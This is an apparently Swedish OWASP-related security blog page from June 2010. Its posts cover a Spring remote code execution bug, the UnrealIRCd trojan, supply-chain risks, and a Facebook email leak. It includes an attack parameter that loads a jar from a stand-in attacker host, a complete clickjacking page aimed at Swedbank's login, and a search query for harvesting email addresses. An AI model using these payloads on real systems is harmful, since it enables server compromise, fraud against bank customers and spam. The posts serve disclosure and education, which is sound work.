söndag 20 juni 2010

Arbitrary Code Execution i Spring

Spring publicerade en allvarlig säkerhetsbugg i torsdags.

Genom att bygga en attack-jar med:
  • META-INF/spring-form.tld som definierar Spring form-taggar som tagg-filer, inte klasser,
  • Tagg-filer med valfri attackkod i Java i META-INF/tags/
... och sen skicka in följande HTTP-parameter till en form controller:
  • class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
... så skriver attackeraren över den första jar-URL:en i klassladdaren för webb-containern (WebappClassLoader), t ex i Tomcat.

org.apache.jasper.compiler.TldLocationsCache.scanJars() kommer då att hämta attack-jaren och använda den för Spring-taggarna.

Vem drabbas och hur lösa problemet?
Det är väldigt ont om information som det verkar. Därav min något luddiga post. T ex är säkerhetsbuggen rapporterad för Spring Framework men referensen till form controller får mig att tänka Spring MVC. Någon som vet mer?

Det verkar hur som helst vara en riktigt otäck bugg så en uppgradering till 3.0.3 är lämplig.

lördag 19 juni 2010

Community Hack i september

Det må så vara att vi står värdar för OWASP AppSec nästa vecka men det kommer ju en höst också. Därför kommer här en inbjudan till höstens första event – Community Hack II, 4-5 september i Stockholm.

FOSS-Sthlm tillsammans med oss i OWASP Sweden träffas en hel helg och hackar på öppna saker. Kanske vill du skapa ett nytt verktyg, utreda ett nytt intressant säkerhetsproblem, eller skriva en ny howto-guide? Eller så är det precis rätt tid att sätta sig in i något trevligt OWASP-projekt såsom JBroFuzz eller ESAPI!

Man kan antingen köra sitt eget race eller haka på någon annans projekt. Det hela kommer planeras kollaborativt på en wiki under www.communityhack.org. Och grundstommen är förstås att vi umgås under tiden, t ex går på bio gemensamt lördag kväll.

Rita in 4-5 september i kalendern och gå in och anmäl er på Eventbrite. Kostnadsfritt förstås.

måndag 14 juni 2010

Clickjacking-exempel

Efter att ha läst RSnakes blogginlägg idag om hur reflekterad XSS kan utnyttjas för clickjackingattacker blev jag sugen på att publicera ett litet clickjacking-exempel här. Tweakade lite från RSnakes exempel och ordnade en iframe som gör att offret klickar på inloggningsknappen till Swedbank istället för på den sajt han/hon är.

Genom att göra den döljande iframe:en lite genomskinlig så syns attacken:


Koden (klistra in i en html-fil och testa på din egen burk, bara testat i Firefox):

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html> <head>
<title>Clickjacking</title>
</head>

<body>
<h1>Clickjacking</h1>

<img src="http://owasp.se/owasp_appsec_research_2010_logo_by_daniel_kozlowski.jpg">

<button type="button">Logga in</button>

<script type="text/javascript">
// Skapa en iframe som ska dölja det
// vi vill att offret ska klicka på
a = document.body.appendChild(document.createElement("iframe"));
a.d = a.contentDocument;
a.d.open().close();
a.style.width = 85;
a.style.height = 30;
// Skapa en iframe som ramar in det
// vi vill att offret klickar på
i = a.d.createElement("iframe");
a.style.border = i.style.border = 0;
a.style.marginwidth = i.style.marginwidth = 0;
a.style.marginheight = i.style.marginheight = 0;
a.style.frameborder = i.style.frameborder = 1;
a.style.position = i.style.position = "absolute";
a.style.overflow = i.style.overflow = "hidden";
// Gör den döljande iframe:en nästan
// ogenomskinlig för att tydliggöra exemplet
a.style.opacity = .2;
// Vårt exempel riktar sig mot Swedbank men
// skulle lika gärna kunna vara en annan sida
i.src = "http://www.swedbank.se/";
i.style.width = 815;
i.style.height = 30;
i.style.left = -735;
i.style.top = 0;
i.style.marginwidth = 0;
i.style.marginheight = 0;
i.style.frameborder = 1;
// Lägg till Swedbank-iframe:en till
// den döljande iframe:en
a.d.body.appendChild(i);
// Skapa en funktion som låter den
// döljande iframe:en följa muspekaren
function followmouse(e) {
xcoord = ycoord = 40;
xcoord += e.pageX - 50;
ycoord += e.pageY - 50;
a.style.left = xcoord;
a.style.top = ycoord;
}
// Följ muspekaren med den döljande
// iframe:en
document.onmousemove=followmouse;
</script>

</body> </html>

söndag 13 juni 2010

IRC-demon innehöll trojan

Världens kanske populäraste IRC-demon, UnrealIRCd, har distribuerats med en trojan sen november. Teamet gick själva ut med information om det igår och Sitic skrev om det idag.

(Förlåt att det är lite låg frekvens på bloggandet just nu men det är mycket inför konferensen. En vecka kvar och över 230 anmälda. 3500 kr för två dagars konferens, tre parallella spår och en middag på stadshuset. Haka på!)

Mardrömmen för öppen källkod
UnrealIRCd snuddar vid den ultimata mardrömmen inom öppen källkod, nämligen att någon smyger in ett rootkit i källkoden och sen får full access till alla användares/utvecklares maskiner.

I det här fallet var det den byggda tar:en som bytts ut och ingen upptäckte det på åtta månader:

"It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now."

Skrämmande men inte alltför förvånande. Vem kollar MD5-summorna? Varje gång?

Värre med dynamisk länkning
Ett relaterat men mycket värre problem är dynamisk länkning. När jag var doktorand i Linköping så handlade mycket av mitt arbete om säkerhet i C. Då var det en gängse sanning att all säkerhetskritisk kod var tvungen att länkas statiskt, dvs libbarna kompileras in i binären som så klart blir gigantisk. På det viset visste man vilken kod som kördes och ett hack i libbarna eller som bytte ut dem påverkade inte den säkerhetskritiska koden.

Dynamisk länkning innebär att din applikationskod länkas samman med andra bibliotek vid applikationsstart eller till och med vid behov under körning. På det viset delas gemensam kod och applikationer får direkt del av buggfixar i bibliotek utan att behöva byggas om själva.

Men säkerhetsmässigt är det problematiskt. Attackvektorn blir så pass mycket större om man genom att knäcka eller byta ut ett bibliotek kan knäcka en massa applikationer och tjänster samtidigt.

Nuförtiden är det inte många som pratar om statisk vs dynamisk länkning. Men problemet är i själva verket större än någonsin!

Dynamisk länkning av JavaScript
Även om de flesta tutorials föreslår att man ska ladda hem de JavaScript-bibliotek man vill använda så ser man väldigt ofta deklarationer i stil med:

<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>

... vilket innebär att användarnas webbläsare kommer att hämta den kod som finns hos code.jquery.com och köra/använda den på sidan. Den som lyckas hacka JQuery kommer äga nätet.

Jag förmodar att JavaScript-bibliotekens ovilja att publicera sin kod på en https-domän handlar delvis om det. De vill inte dynamiskt länkas in i https-skyddade applikationer.

Dynamisk länkning med Maven
Att hacka JQuery- eller YUI-servrarna skulle mycket snabbt ge effekt om det inte vore för de allt vanligare "never expire"-cache-kontrollerna. Men vore det inte ännu läskigare om någon hackade något populärt öppen källkods-projekt såsom Log4J eller Apache Commons? Folk laddar automatiskt hem ditt rootkit med Maven utan att ens veta vad som försiggår.

Ibland undrar jag varför det inte redan hänt. Eller om det har hänt men jag inte har fått reda på det. Då blir hack som det mot UnrealIRCd som en klump i magen. Ingen upptäckte det på åtta månader ...

fredag 4 juni 2010

E-postadresser synliga via Facebook-läcka

Prova att googla på ...

site:facebook.com "Do you want to stop receiving Facebook emails"

Det ger dig en diger uppsättning e-postadresser att börja spamma. Flera av adresserna är dessutom till för automatisk postning till folks bloggar. Cory Watilo har upptäckt det här och han har inte ens gett sin e-postadress till Facebook (se skärmdump nedan)!



Nu tycker jag förvisso man gott kan publicera sin e-postadress på nätet. Filtren börjar bli bra, adressen läcker ut i alla fall (exempel ovan) och det är grymt irriterande att inte hitta en persons e-postadress.

Nej, det allvarliga i den aktuella Facebook-läckan är förstås att Facebook uppenbarligen inte har något ordentligt system för att kategorisera användarnas data. Det ska inte vara upp till om utvecklarna har en bra dag eller inte. Bygger man världens största sociala nätverk och riskerar tonvis med kritik för hanteringen av personlig information så ska systemet självt hålla reda på vad som får spindlas/indexeras och inte.

Om man nu inte kan eller orkar kategorisera informationen – hur svårt kan det vara att sätta upp egna test-botar som går igenom sajten på jakt efter känslig information?